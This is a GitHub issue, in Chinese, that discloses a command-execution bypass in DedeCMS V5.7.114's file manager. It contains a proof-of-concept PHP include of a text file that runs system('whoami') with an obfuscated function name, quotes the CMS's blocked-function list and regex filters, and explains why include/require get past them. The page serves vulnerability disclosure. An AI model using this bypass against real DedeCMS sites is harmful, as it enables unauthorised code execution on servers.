We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Official website: https://www.dedecms.com/ Version: DedeCMS V5.7.114 DedeCMS-V5.7.114-UTF8.zip
在文件式管理器功能处创建1.php和newfile.txt两个文件
1.php内容如下
<?php require_once('newfile.txt');?>
2.txt内容如下
<?php (s.y.s.t.e.m)("whoami");?>
随后访问1.php即可成功
当访问如下网址时(新建文件)处
http://ddcms.asd/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
首先在file_manage_view.php文件进行分析,fmdo的参数为newfile,直接全局搜索
else if($fmdo=="newfile") { $content = ""; $GLOBALS['filename'] = "newfile.txt"; $contentView = "<textarea name='str' style='width:99%;height:400'></textarea>\r\n"; $GLOBALS['token'] = make_hash(); $ctp = new DedeTagParse(); $ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm"); $ctp->display(); }
传入了一个htm文件,跟进查看
LoadTemplate()
function LoadTemplate($filename) { // var_dump($filename);exit(); $this->SetDefault(); // 判断file_edit.htm是否存在,此文件时存在的,所以就进入到了else if(!file_exists($filename)) { // var_dump('asd');exit(); $this->SourceString = " $filename Not Found! "; $this->ParseTemplet(); } else { // echo '进入else条件'; $fp = @fopen($filename, "r"); while($line = fgets($fp,1024)) { $this->SourceString .= $line; // var_dump($this->SourceString);exit(); } fclose($fp); if($this->LoadCache($filename)) { // var_dump(111);exit(); return ''; } else { $this->ParseTemplet(); } } }
这前面没什么重点,这时在新建文件的时候的抓包看看
在file_manage_control.php处进行的文件上传,跟进
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str); //var_dump($str);exit(); 此处的$str是我们上传的内容,可以根据抓包的参数就可以看出来或者var_dump打印看看都可以看得出来 global $cfg_disable_funs; //var_dump($cfg_disable_funs);exit(); $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'; foreach (explode(",", $cfg_disable_funs) as $value) { //var_dump($value);exit(); $value = str_replace(" ", "", $value); if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) { //判断$str也就是用户输入的字符串内是否存在$cfg_disable_funs的字符,里面是一些禁用的函数或者是否存在[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST这些请求方式 // var_dump($str); // dede_htmlspecialchars 进行了实体化编码 $str = dede_htmlspecialchars($str); // var_dump($str);exit(); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>"); } }
得知这里过滤了一些危险的函数和请求的方式,如:文件存在system或者$_GET['xx']。那么就会die掉
但是并没有过滤文件包含的函数,这里可以利于文件包含的函数包含任意文件从而达到目的
/** 匹配如123<?php ?>**/ if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) { // var_dump(123);exit(); // echo 123;exit(); if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) { var_dump(123);exit(); $str = dede_htmlspecialchars($str); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>"); } if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) { var_dump(456);exit(); $str = dede_htmlspecialchars($str); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>"); } if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) { var_dump(678);exit(); $str = dede_htmlspecialchars($str); die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>"); } }
下面的这些代码在123<?php ?>的时候会进行匹配到从而进入到此代码中或者<?php ?>都会进行匹配到,后面的三个正则如果当内容出现`xxx`或者$_GET[]等...会被die掉,里面的内容都会被实体化掉,经测试<?php ?>是可以进行操作的
随后当内容会我们的危害语句时也是可以过去的
加上前面的文件包含如果包含进此文件即可触发命令执行
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Official website: https://www.dedecms.com/
Version: DedeCMS V5.7.114
DedeCMS-V5.7.114-UTF8.zip
在文件式管理器功能处创建1.php和newfile.txt两个文件
1.php内容如下
2.txt内容如下
随后访问1.php即可成功
调试分析
当访问如下网址时(新建文件)处
首先在file_manage_view.php文件进行分析,fmdo的参数为newfile,直接全局搜索
传入了一个htm文件,跟进查看
LoadTemplate()
这前面没什么重点,这时在新建文件的时候的抓包看看
在file_manage_control.php处进行的文件上传,跟进
得知这里过滤了一些危险的函数和请求的方式,如:文件存在system或者$_GET['xx']。那么就会die掉
但是并没有过滤文件包含的函数,这里可以利于文件包含的函数包含任意文件从而达到目的
随后当内容会我们的危害语句时也是可以过去的
加上前面的文件包含如果包含进此文件即可触发命令执行
The text was updated successfully, but these errors were encountered: